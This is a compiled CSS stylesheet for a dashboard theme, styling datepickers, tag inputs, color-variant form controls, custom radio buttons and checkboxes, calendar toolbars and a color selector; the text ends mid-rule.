  .bootstrap-datetimepicker-widget .timepicker table td span {
    width: 35px;
    height: 35px;
    line-height: 35px; }
.bootstrap-datetimepicker-widget.dropdown-menu {
  min-width: 280px; }
  .bootstrap-datetimepicker-widget.dropdown-menu.bottom:before, .bootstrap-datetimepicker-widget.dropdown-menu.bottom::before {
    border-bottom-color: #fff; }
  .bootstrap-datetimepicker-widget.dropdown-menu.top:before, .bootstrap-datetimepicker-widget.dropdown-menu.top::before {
    border-top-color: #fff; }
  .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td {
    width: 30px;
    height: 30px;
    line-height: 30px; }
  .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before {
    top: 4px;
    left: 0px; }
  .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before {
    top: 4px;
    left: 0px; }

.bootstrap-tagsinput {
  display: block;
  border: 1px solid #eaeaea;
  min-height: 35px;
  padding: 0px 10px;
  padding-top: 4px;
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none; }
  .bootstrap-tagsinput .tag {
    padding: 1px 5px;
    margin-right: 2px;
    margin-bottom: 4px;
    display: inline-block;
    text-transform: capitalize;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    background-color: #4c5667; }

.note-editor.note-frame.card {
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none; }

.input-group {
  margin-bottom: 1.25em; }

.form-control-primary {
  border-color: #007bff;
  color: #007bff; }
  .form-control-primary:focus {
    border-color: #007bff; }

.input-group-primary .input-group-append .input-group-text,
.input-group-primary .input-group-prepend .input-group-text {
  background-color: #007bff;
  border-color: #007bff;
  color: #ffffff; }
.input-group-primary .form-control {
  border-color: #007bff; }

.form-control-warning {
  border-color: #fb6340;
  color: #fb6340; }
  .form-control-warning:focus {
    border-color: #fb6340; }

.input-group-warning .input-group-append .input-group-text,
.input-group-warning .input-group-prepend .input-group-text {
  background-color: #fb6340;
  border-color: #fb6340;
  color: #ffffff; }
.input-group-warning .form-control {
  border-color: #fb6340; }

.form-control-default {
  border-color: #d6d6d6;
  color: #d6d6d6; }
  .form-control-default:focus {
    border-color: #d6d6d6; }

.input-group-default .input-group-append .input-group-text,
.input-group-default .input-group-prepend .input-group-text {
  background-color: #d6d6d6;
  border-color: #d6d6d6;
  color: #ffffff; }
.input-group-default .form-control {
  border-color: #d6d6d6; }

.form-control-danger {
  border-color: #f5365c;
  color: #f5365c; }
  .form-control-danger:focus {
    border-color: #f5365c; }

.input-group-danger .input-group-append .input-group-text,
.input-group-danger .input-group-prepend .input-group-text {
  background-color: #f5365c;
  border-color: #f5365c;
  color: #ffffff; }
.input-group-danger .form-control {
  border-color: #f5365c; }

.form-control-success {
  border-color: #2dce89;
  color: #2dce89; }
  .form-control-success:focus {
    border-color: #2dce89; }

.input-group-success .input-group-append .input-group-text,
.input-group-success .input-group-prepend .input-group-text {
  background-color: #2dce89;
  border-color: #2dce89;
  color: #ffffff; }
.input-group-success .form-control {
  border-color: #2dce89; }

.form-control-inverse {
  border-color: #4c5667;
  color: #4c5667; }
  .form-control-inverse:focus {
    border-color: #4c5667; }

.input-group-inverse .input-group-append .input-group-text,
.input-group-inverse .input-group-prepend .input-group-text {
  background-color: #4c5667;
  border-color: #4c5667;
  color: #ffffff; }
.input-group-inverse .form-control {
  border-color: #4c5667; }

.form-control-info {
  border-color: #11cdef;
  color: #11cdef; }
  .form-control-info:focus {
    border-color: #11cdef; }

.input-group-info .input-group-append .input-group-text,
.input-group-info .input-group-prepend .input-group-text {
  background-color: #11cdef;
  border-color: #11cdef;
  color: #ffffff; }
.input-group-info .form-control {
  border-color: #11cdef; }

.form-txt-primary {
  color: #007bff; }
  .form-txt-primary:focus {
    color: #007bff; }
  .form-txt-primary::-moz-placeholder {
    color: #007bff;
    opacity: 1; }
  .form-txt-primary:-ms-input-placeholder {
    color: #007bff; }
  .form-txt-primary::-webkit-input-placeholder {
    color: #007bff; }

.form-txt-warning {
  color: #fb6340; }
  .form-txt-warning:focus {
    color: #fb6340; }
  .form-txt-warning::-moz-placeholder {
    color: #fb6340;
    opacity: 1; }
  .form-txt-warning:-ms-input-placeholder {
    color: #fb6340; }
  .form-txt-warning::-webkit-input-placeholder {
    color: #fb6340; }

.form-txt-default {
  color: #d6d6d6; }
  .form-txt-default:focus {
    color: #d6d6d6; }
  .form-txt-default::-moz-placeholder {
    color: #d6d6d6;
    opacity: 1; }
  .form-txt-default:-ms-input-placeholder {
    color: #d6d6d6; }
  .form-txt-default::-webkit-input-placeholder {
    color: #d6d6d6; }

.form-txt-danger {
  color: #f5365c; }
  .form-txt-danger:focus {
    color: #f5365c; }
  .form-txt-danger::-moz-placeholder {
    color: #f5365c;
    opacity: 1; }
  .form-txt-danger:-ms-input-placeholder {
    color: #f5365c; }
  .form-txt-danger::-webkit-input-placeholder {
    color: #f5365c; }

.form-txt-success {
  color: #2dce89; }
  .form-txt-success:focus {
    color: #2dce89; }
  .form-txt-success::-moz-placeholder {
    color: #2dce89;
    opacity: 1; }
  .form-txt-success:-ms-input-placeholder {
    color: #2dce89; }
  .form-txt-success::-webkit-input-placeholder {
    color: #2dce89; }

.form-txt-inverse {
  color: #4c5667; }
  .form-txt-inverse:focus {
    color: #4c5667; }
  .form-txt-inverse::-moz-placeholder {
    color: #4c5667;
    opacity: 1; }
  .form-txt-inverse:-ms-input-placeholder {
    color: #4c5667; }
  .form-txt-inverse::-webkit-input-placeholder {
    color: #4c5667; }

.form-txt-info {
  color: #11cdef; }
  .form-txt-info:focus {
    color: #11cdef; }
  .form-txt-info::-moz-placeholder {
    color: #11cdef;
    opacity: 1; }
  .form-txt-info:-ms-input-placeholder {
    color: #11cdef; }
  .form-txt-info::-webkit-input-placeholder {
    color: #11cdef; }

.form-bg-primary {
  background-color: #007bff;
  border-color: #007bff;
  color: #fff; }
  .form-bg-primary:focus {
    background-color: #007bff;
    border-color: #007bff;
    color: #fff; }
  .form-bg-primary::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-primary:-ms-input-placeholder {
    color: #fff; }
  .form-bg-primary::-webkit-input-placeholder {
    color: #fff; }

.form-bg-warning {
  background-color: #fb6340;
  border-color: #fb6340;
  color: #fff; }
  .form-bg-warning:focus {
    background-color: #fb6340;
    border-color: #fb6340;
    color: #fff; }
  .form-bg-warning::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-warning:-ms-input-placeholder {
    color: #fff; }
  .form-bg-warning::-webkit-input-placeholder {
    color: #fff; }

.form-bg-default {
  background-color: #d6d6d6;
  border-color: #d6d6d6;
  color: #fff; }
  .form-bg-default:focus {
    background-color: #d6d6d6;
    border-color: #d6d6d6;
    color: #fff; }
  .form-bg-default::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-default:-ms-input-placeholder {
    color: #fff; }
  .form-bg-default::-webkit-input-placeholder {
    color: #fff; }

.form-bg-danger {
  background-color: #f5365c;
  border-color: #f5365c;
  color: #fff; }
  .form-bg-danger:focus {
    background-color: #f5365c;
    border-color: #f5365c;
    color: #fff; }
  .form-bg-danger::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-danger:-ms-input-placeholder {
    color: #fff; }
  .form-bg-danger::-webkit-input-placeholder {
    color: #fff; }

.form-bg-success {
  background-color: #2dce89;
  border-color: #2dce89;
  color: #fff; }
  .form-bg-success:focus {
    background-color: #2dce89;
    border-color: #2dce89;
    color: #fff; }
  .form-bg-success::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-success:-ms-input-placeholder {
    color: #fff; }
  .form-bg-success::-webkit-input-placeholder {
    color: #fff; }

.form-bg-inverse {
  background-color: #4c5667;
  border-color: #4c5667;
  color: #fff; }
  .form-bg-inverse:focus {
    background-color: #4c5667;
    border-color: #4c5667;
    color: #fff; }
  .form-bg-inverse::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-inverse:-ms-input-placeholder {
    color: #fff; }
  .form-bg-inverse::-webkit-input-placeholder {
    color: #fff; }

.form-bg-info {
  background-color: #11cdef;
  border-color: #11cdef;
  color: #fff; }
  .form-bg-info:focus {
    background-color: #11cdef;
    border-color: #11cdef;
    color: #fff; }
  .form-bg-info::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-info:-ms-input-placeholder {
    color: #fff; }
  .form-bg-info::-webkit-input-placeholder {
    color: #fff; }

.form-radio {
  position: relative; }
  .form-radio .form-help {
    position: absolute;
    width: 100%; }
  .form-radio label {
    position: relative;
    padding-left: 1.5rem;
    text-align: left;
    color: #333;
    display: block;
    line-height: 1.8; }
  .form-radio input {
    width: auto;
    opacity: 0.00000001;
    position: absolute;
    left: 0; }

.radio .helper {
  position: absolute;
  top: -0.25rem;
  left: -0.25rem;
  cursor: pointer;
  display: block;
  font-size: 1rem;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  color: #999; }
  .radio .helper::after {
    transform: scale(0);
    background-color: #007bff;
    border-color: #007bff; }
  .radio .helper::after, .radio .helper::before {
    content: '';
    position: absolute;
    left: 0;
    top: 3px;
    margin: 0.25rem;
    width: 1rem;
    height: 1rem;
    -webkit-transition: -webkit-transform 0.28s ease;
    transition: -webkit-transform 0.28s ease;
    transition: transform 0.28s ease, -webkit-transform 0.28s ease;
    border-radius: 50%;
    border: 0.125rem solid #007bff; }
.radio label:hover .helper {
  color: #007bff; }
.radio input:checked ~ .helper::after {
  transform: scale(0.5); }
.radio input:checked ~ .helper::before {
  color: #007bff;
  animation: ripple 0.3s linear forwards; }
.radio.radiofill input:checked ~ .helper::after {
  transform: scale(1); }
.radio.radiofill .helper::after {
  background-color: #007bff; }
.radio.radio-outline input:checked ~ .helper::after {
  transform: scale(0.6); }
.radio.radio-outline .helper::after {
  background-color: #fff;
  border: 0.225rem solid #007bff; }
.radio.radio-matrial input ~ .helper::after {
  background-color: #fff; }
.radio.radio-matrial input:checked ~ .helper::after {
  transform: scale(0.5);
  box-shadow: 0 1px 7px -1px rgba(0, 0, 0, 0.72); }
.radio.radio-matrial input:checked ~ .helper::before {
  background-color: #007bff; }
.radio.radio-disable {
  opacity: 0.7; }
  .radio.radio-disable label {
    cursor: not-allowed; }

.radio-inline {
  display: inline-block;
  margin-right: 20px; }

.radio.radio-primary .helper::after {
  background-color: #007bff;
  border-color: #007bff; }
.radio.radio-primary .helper::before {
  border-color: #007bff; }
.radio.radio-outline.radio-primary .helper::after {
  background-color: #fff;
  border: 0.225rem solid #007bff; }
.radio.radio-outline.radio-primary .helper::before {
  border-color: #007bff; }
.radio.radio-matrial.radio-primary input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-primary input ~ .helper::before {
  background-color: #007bff;
  border-color: #007bff; }

.radio.radio-warning .helper::after {
  background-color: #fb6340;
  border-color: #fb6340; }
.radio.radio-warning .helper::before {
  border-color: #fb6340; }
.radio.radio-outline.radio-warning .helper::after {
  background-color: #fff;
  border: 0.225rem solid #fb6340; }
.radio.radio-outline.radio-warning .helper::before {
  border-color: #fb6340; }
.radio.radio-matrial.radio-warning input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-warning input ~ .helper::before {
  background-color: #fb6340;
  border-color: #fb6340; }

.radio.radio-default .helper::after {
  background-color: #d6d6d6;
  border-color: #d6d6d6; }
.radio.radio-default .helper::before {
  border-color: #d6d6d6; }
.radio.radio-outline.radio-default .helper::after {
  background-color: #fff;
  border: 0.225rem solid #d6d6d6; }
.radio.radio-outline.radio-default .helper::before {
  border-color: #d6d6d6; }
.radio.radio-matrial.radio-default input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-default input ~ .helper::before {
  background-color: #d6d6d6;
  border-color: #d6d6d6; }

.radio.radio-danger .helper::after {
  background-color: #f5365c;
  border-color: #f5365c; }
.radio.radio-danger .helper::before {
  border-color: #f5365c; }
.radio.radio-outline.radio-danger .helper::after {
  background-color: #fff;
  border: 0.225rem solid #f5365c; }
.radio.radio-outline.radio-danger .helper::before {
  border-color: #f5365c; }
.radio.radio-matrial.radio-danger input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-danger input ~ .helper::before {
  background-color: #f5365c;
  border-color: #f5365c; }

.radio.radio-success .helper::after {
  background-color: #2dce89;
  border-color: #2dce89; }
.radio.radio-success .helper::before {
  border-color: #2dce89; }
.radio.radio-outline.radio-success .helper::after {
  background-color: #fff;
  border: 0.225rem solid #2dce89; }
.radio.radio-outline.radio-success .helper::before {
  border-color: #2dce89; }
.radio.radio-matrial.radio-success input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-success input ~ .helper::before {
  background-color: #2dce89;
  border-color: #2dce89; }

.radio.radio-inverse .helper::after {
  background-color: #4c5667;
  border-color: #4c5667; }
.radio.radio-inverse .helper::before {
  border-color: #4c5667; }
.radio.radio-outline.radio-inverse .helper::after {
  background-color: #fff;
  border: 0.225rem solid #4c5667; }
.radio.radio-outline.radio-inverse .helper::before {
  border-color: #4c5667; }
.radio.radio-matrial.radio-inverse input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-inverse input ~ .helper::before {
  background-color: #4c5667;
  border-color: #4c5667; }

.radio.radio-info .helper::after {
  background-color: #11cdef;
  border-color: #11cdef; }
.radio.radio-info .helper::before {
  border-color: #11cdef; }
.radio.radio-outline.radio-info .helper::after {
  background-color: #fff;
  border: 0.225rem solid #11cdef; }
.radio.radio-outline.radio-info .helper::before {
  border-color: #11cdef; }
.radio.radio-matrial.radio-info input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-info input ~ .helper::before {
  background-color: #11cdef;
  border-color: #11cdef; }

@keyframes ripple {
  0% {
    box-shadow: 0 0 0 1px rgba(0, 0, 0, 0); }
  50% {
    box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.05); }
  100% {
    box-shadow: 0 0 0 10px rgba(0, 0, 0, 0); } }
.border-checkbox-section .border-checkbox-group {
  display: inline-block; }
  .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:before {
    animation: ripple 0.3s linear forwards; }
  .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after {
    -webkit-animation: check linear 0.5s;
    animation: check linear 0.5s;
    opacity: 1;
    border-color: #007bff; }
    .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after .border-checkbox-label:before {
      border-color: #eee; }
  .border-checkbox-section .border-checkbox-group .border-checkbox-label {
    position: relative;
    display: inline-block;
    cursor: pointer;
    height: 20px;
    line-height: 20px;
    padding-left: 30px;
    margin-right: 15px; }
    .border-checkbox-section .border-checkbox-group .border-checkbox-label:after {
      content: "";
      display: block;
      width: 6px;
      height: 12px;
      opacity: 0.9;
      border-right: 2px solid #eee;
      border-top: 2px solid #eee;
      position: absolute;
      left: 4px;
      top: 11px;
      -webkit-transform: scaleX(-1) rotate(135deg);
      transform: scaleX(-1) rotate(135deg);
      -webkit-transform-origin: left top;
      transform-origin: left top; }
    .border-checkbox-section .border-checkbox-group .border-checkbox-label:before {
      content: "";
      display: block;
      border: 2px solid #007bff;
      width: 20px;
      height: 20px;
      position: absolute;
      left: 0; }
.border-checkbox-section .border-checkbox {
  display: none; }
  .border-checkbox-section .border-checkbox:disabled ~ .border-checkbox-label {
    cursor: no-drop;
    color: #ccc; }

@-webkit-keyframes check {
  0% {
    height: 0;
    width: 0; }
  25% {
    height: 0;
    width: 6px; }
  50% {
    height: 12px;
    width: 6px; } }
@keyframes check {
  0% {
    height: 0;
    width: 0; }
  25% {
    height: 0;
    width: 6px; }
  50% {
    height: 12px;
    width: 6px; } }
.border-checkbox-section .border-checkbox-group-primary .border-checkbox-label:before {
  border: 2px solid #007bff; }
.border-checkbox-section .border-checkbox-group-primary .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #007bff; }

.border-checkbox-section .border-checkbox-group-warning .border-checkbox-label:before {
  border: 2px solid #fb6340; }
.border-checkbox-section .border-checkbox-group-warning .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #fb6340; }

.border-checkbox-section .border-checkbox-group-default .border-checkbox-label:before {
  border: 2px solid #d6d6d6; }
.border-checkbox-section .border-checkbox-group-default .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #d6d6d6; }

.border-checkbox-section .border-checkbox-group-danger .border-checkbox-label:before {
  border: 2px solid #f5365c; }
.border-checkbox-section .border-checkbox-group-danger .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #f5365c; }

.border-checkbox-section .border-checkbox-group-success .border-checkbox-label:before {
  border: 2px solid #2dce89; }
.border-checkbox-section .border-checkbox-group-success .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #2dce89; }

.border-checkbox-section .border-checkbox-group-inverse .border-checkbox-label:before {
  border: 2px solid #4c5667; }
.border-checkbox-section .border-checkbox-group-inverse .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #4c5667; }

.border-checkbox-section .border-checkbox-group-info .border-checkbox-label:before {
  border: 2px solid #11cdef; }
.border-checkbox-section .border-checkbox-group-info .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #11cdef; }

.checkbox-fade,
.checkbox-zoom {
  display: inline-block;
  margin-right: 15px; }
  .checkbox-fade label,
  .checkbox-zoom label {
    line-height: 20px; }
    .checkbox-fade label input[type="checkbox"],
    .checkbox-fade label input[type="radio"],
    .checkbox-zoom label input[type="checkbox"],
    .checkbox-zoom label input[type="radio"] {
      display: none; }
      .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon,
      .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon,
      .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon,
      .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon {
        transform: scale(1) rotateZ(0deg);
        opacity: 1; }
      .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon,
      .checkbox-fade label input[type="radio"] + .cr > .cr-icon,
      .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon,
      .checkbox-zoom label input[type="radio"] + .cr > .cr-icon {
        transform: scale(3) rotateZ(-20deg);
        opacity: 0;
        transition: all 0.3s ease-in; }
    .checkbox-fade label:after,
    .checkbox-zoom label:after {
      content: '';
      display: table;
      clear: both; }
  .checkbox-fade.fade-in-disable .cr,
  .checkbox-fade.fade-in-disable label,
  .checkbox-zoom.fade-in-disable .cr,
  .checkbox-zoom.fade-in-disable label {
    color: #ccc;
    cursor: no-drop; }
  .checkbox-fade .cr,
  .checkbox-zoom .cr {
    border-radius: 0;
    border: 2px solid #007bff;
    cursor: pointer;
    display: inline-block;
    float: left;
    height: 20px;
    margin-right: 1rem;
    position: relative;
    width: 20px; }
    .checkbox-fade .cr .cr-icon,
    .checkbox-zoom .cr .cr-icon {
      color: #007bff;
      font-size: 1em;
      left: 0;
      line-height: 0;
      position: absolute;
      right: 0;
      text-align: center;
      top: 50%; }
  .checkbox-fade input[type="checkbox"]:checked + .cr,
  .checkbox-zoom input[type="checkbox"]:checked + .cr {
    animation: ripple 0.3s linear forwards; }

.checkbox-fade label {
  line-height: 20px; }
  .checkbox-fade label input[type="checkbox"],
  .checkbox-fade label input[type="radio"] {
    display: none; }
    .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon,
    .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon {
      transform: scale(1) rotateZ(0deg);
      opacity: 1; }
    .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon,
    .checkbox-fade label input[type="radio"] + .cr > .cr-icon {
      transform: scale(3) rotateZ(-20deg);
      opacity: 0;
      transition: all 0.3s ease-in; }

.checkbox-zoom label {
  line-height: 20px; }
  .checkbox-zoom label input[type="checkbox"],
  .checkbox-zoom label input[type="radio"] {
    display: none; }
    .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon,
    .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon {
      transform: scale3d(1, 1, 1) translate3d(0, 0, 0);
      opacity: 1; }
    .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon,
    .checkbox-zoom label input[type="radio"] + .cr > .cr-icon {
      transform: scale3d(0.2, 0.2, 0.1) translate3d(0, 0, 0);
      opacity: 0;
      transition: all 0.3s ease-in; }

.checkbox-fade.fade-in-primary .cr, .checkbox-fade.zoom-primary .cr,
.checkbox-zoom.fade-in-primary .cr,
.checkbox-zoom.zoom-primary .cr {
  border: 2px solid #007bff; }
  .checkbox-fade.fade-in-primary .cr .cr-icon, .checkbox-fade.zoom-primary .cr .cr-icon,
  .checkbox-zoom.fade-in-primary .cr .cr-icon,
  .checkbox-zoom.zoom-primary .cr .cr-icon {
    color: #007bff; }

.checkbox-fade.fade-in-warning .cr, .checkbox-fade.zoom-warning .cr,
.checkbox-zoom.fade-in-warning .cr,
.checkbox-zoom.zoom-warning .cr {
  border: 2px solid #fb6340; }
  .checkbox-fade.fade-in-warning .cr .cr-icon, .checkbox-fade.zoom-warning .cr .cr-icon,
  .checkbox-zoom.fade-in-warning .cr .cr-icon,
  .checkbox-zoom.zoom-warning .cr .cr-icon {
    color: #fb6340; }

.checkbox-fade.fade-in-default .cr, .checkbox-fade.zoom-default .cr,
.checkbox-zoom.fade-in-default .cr,
.checkbox-zoom.zoom-default .cr {
  border: 2px solid #d6d6d6; }
  .checkbox-fade.fade-in-default .cr .cr-icon, .checkbox-fade.zoom-default .cr .cr-icon,
  .checkbox-zoom.fade-in-default .cr .cr-icon,
  .checkbox-zoom.zoom-default .cr .cr-icon {
    color: #d6d6d6; }

.checkbox-fade.fade-in-danger .cr, .checkbox-fade.zoom-danger .cr,
.checkbox-zoom.fade-in-danger .cr,
.checkbox-zoom.zoom-danger .cr {
  border: 2px solid #f5365c; }
  .checkbox-fade.fade-in-danger .cr .cr-icon, .checkbox-fade.zoom-danger .cr .cr-icon,
  .checkbox-zoom.fade-in-danger .cr .cr-icon,
  .checkbox-zoom.zoom-danger .cr .cr-icon {
    color: #f5365c; }

.checkbox-fade.fade-in-success .cr, .checkbox-fade.zoom-success .cr,
.checkbox-zoom.fade-in-success .cr,
.checkbox-zoom.zoom-success .cr {
  border: 2px solid #2dce89; }
  .checkbox-fade.fade-in-success .cr .cr-icon, .checkbox-fade.zoom-success .cr .cr-icon,
  .checkbox-zoom.fade-in-success .cr .cr-icon,
  .checkbox-zoom.zoom-success .cr .cr-icon {
    color: #2dce89; }

.checkbox-fade.fade-in-inverse .cr, .checkbox-fade.zoom-inverse .cr,
.checkbox-zoom.fade-in-inverse .cr,
.checkbox-zoom.zoom-inverse .cr {
  border: 2px solid #4c5667; }
  .checkbox-fade.fade-in-inverse .cr .cr-icon, .checkbox-fade.zoom-inverse .cr .cr-icon,
  .checkbox-zoom.fade-in-inverse .cr .cr-icon,
  .checkbox-zoom.zoom-inverse .cr .cr-icon {
    color: #4c5667; }

.checkbox-fade.fade-in-info .cr, .checkbox-fade.zoom-info .cr,
.checkbox-zoom.fade-in-info .cr,
.checkbox-zoom.zoom-info .cr {
  border: 2px solid #11cdef; }
  .checkbox-fade.fade-in-info .cr .cr-icon, .checkbox-fade.zoom-info .cr .cr-icon,
  .checkbox-zoom.fade-in-info .cr .cr-icon,
  .checkbox-zoom.zoom-info .cr .cr-icon {
    color: #11cdef; }

.checkbox-color {
  display: inline-block;
  margin-right: 20px;
  cursor: pointer; }
  .checkbox-color label {
    display: inline-block;
    position: relative;
    padding-left: 10px;
    line-height: 20px; }
    .checkbox-color label::before {
      content: "";
      display: inline-block;
      position: absolute;
      top: 0;
      width: 20px;
      height: 20px;
      left: 0;
      right: 0;
      text-align: center;
      margin-left: -20px;
      border: 1px solid #ccc;
      border-radius: 0;
      background-color: #fff;
      transition: border 0.15s ease-in-out, color 0.15s ease-in-out; }
    .checkbox-color label::after {
      display: inline-block;
      position: absolute;
      width: 16px;
      height: 16px;
      left: -1px;
      top: 0;
      margin-left: -17px;
      padding-left: 3px;
      padding-top: 1px;
      font-size: 11px;
      color: #fff; }
  .checkbox-color input[type="checkbox"] {
    opacity: 0; }
    .checkbox-color input[type="checkbox"]:focus + label::before {
      outline: thin dotted;
      outline: 5px auto -webkit-focus-ring-color;
      outline-offset: -2px; }
    .checkbox-color input[type="checkbox"]:checked + label::after {
      font-family: 'FontAwesome';
      content: "\f00c"; }
    .checkbox-color input[type="checkbox"]:checked + label::before {
      animation: ripple 0.3s linear forwards; }
    .checkbox-color input[type="checkbox"]:disabled + label {
      opacity: 0.65; }
      .checkbox-color input[type="checkbox"]:disabled + label::before {
        background-color: #eee;
        cursor: not-allowed; }
  .checkbox-color.checkbox-circle label::before {
    border-radius: 50%; }
  .checkbox-color.checkbox-inline {
    margin-top: 0; }

.checkbox-danger input[type="checkbox"]:checked + label::after,
.checkbox-info input[type="checkbox"]:checked + label::after,
.checkbox-primary input[type="checkbox"]:checked + label::after,
.checkbox-success input[type="checkbox"]:checked + label::after,
.checkbox-warning input[type="checkbox"]:checked + label::after {
  color: #fff; }

.checkbox-primary input[type="checkbox"]:checked + label::before {
  background-color: #2196f3;
  border-color: #2196f3; }

.checkbox-primary input[type="checkbox"]:checked + label::before {
  background-color: #007bff; }

.checkbox-warning input[type="checkbox"]:checked + label::before {
  background-color: #fb6340; }

.checkbox-default input[type="checkbox"]:checked + label::before {
  background-color: #d6d6d6; }

.checkbox-danger input[type="checkbox"]:checked + label::before {
  background-color: #f5365c; }

.checkbox-success input[type="checkbox"]:checked + label::before {
  background-color: #2dce89; }

.checkbox-inverse input[type="checkbox"]:checked + label::before {
  background-color: #4c5667; }

.checkbox-info input[type="checkbox"]:checked + label::before {
  background-color: #11cdef; }

.slider-nav .left-arrow, .slider-nav .right-arrow {
  font-size: 20px;
  color: #145388;
  display: inline-block;
  vertical-align: middle;
  margin: 0 15px; }
.slider-nav .slider-dot-container {
  display: inline-block; }
  .slider-nav .slider-dot-container .owl-dot {
    width: 6px;
    height: 6px;
    border-radius: 10px;
    color: #00a7e2;
    background: #7cb9ec;
    outline: initial !important;
    border: initial;
    margin: 0 5px;
    padding: 0; }
    .slider-nav .slider-dot-container .owl-dot.active {
      background: #145388; }

.fc .fc-toolbar .fc-button {
  background: #4a5361;
  color: #fff;
  padding: 5px 10px;
  height: auto;
  border: none;
  text-transform: capitalize;
  text-shadow: none;
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none; }
  .fc .fc-toolbar .fc-button .fc-icon {
    margin: 0;
    top: 0; }
    .fc .fc-toolbar .fc-button .fc-icon:after, .fc .fc-toolbar .fc-button .fc-icon::after {
      font-family: "iconkit";
      font-size: 16px; }
    .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after {
      content: "\e843"; }
    .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after {
      content: "\e844"; }
  .fc .fc-toolbar .fc-button.fc-state-active, .fc .fc-toolbar .fc-button.fc-state-down {
    background: #272d36 !important; }
.fc .fc-toolbar h2 {
  font-size: 22px;
  font-weight: 600; }
.fc .fc-view-container .fc-view table thead tr td.fc-widget-header, .fc .fc-view-container .fc-view table thead tr th.fc-widget-header {
  color: #4a5361;
  background: #f3f4f4;
  border-color: #f3f4f4;
  padding: 10px 0px; }
.fc .fc-view-container .fc-view .fc-day-number {
  float: left;
  padding: 10px 0 5px 10px; }
.fc .fc-view-container .fc-view .fc-other-month {
  background: #f3f9ff; }
.fc .fc-view-container .fc-view .fc-event-container .fc-event {
  display: block;
  padding: 3px 5px;
  color: #ffffff;
  font-weight: 600;
  font-size: 12px;
  border: none; }

.fc-unthemed .fc-content, .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading, .fc-unthemed .fc-list-view, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed thead {
  border-color: #f3f4f4; }

.color-selector {
  padding: 0;
  margin: 0;
  list-style: none; }
  .color-selector li {
    position: relative;
    display: inline-block;
    width: 25px;
    height: 25px;
    margin: 0 8px 8px 0;
    background-color: #3e8ef7;
    border-radius: 50%;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%; }
    .color-selector li input[type=radio] {
      position: absolute;
      top: 0;
      left: 0;
      z-index: 1;
      width: inherit;
      height: inherit;
      cursor: pointer;
      border-radius: inherit;
      opacity: 0; }
      .color-selector li input[type=radio]:checked + label:after, .color-selector li input[type=radio]:checked + label::after {
        position: absolute;
        top: 0px;
        left: 5px;
        display: inline-block;
        margin-top: -3px;
        font-size: 16px;
        line-height: 1;
        content: "\e83f";
        color: #fff; }
    .color-selector li label {
      position: relative;
      margin-bottom: .4rem;
      font-family: "iconkit";
      font-style: normal;
      font-weight: 400;
      font-variant: normal;
      text-transform: none; }
    .color-selector li:last-child {
      margin-right: 0; }

.alert {
  border: none; }
  .alert .close {
    font-size: 18px;
    padding: 12px 15px; }

.jq-icon-info {
  background-color: #11cdef;
  color: #ffffff;
  border: none; }

.jq-icon-warning {
  background-color: #fb6340;
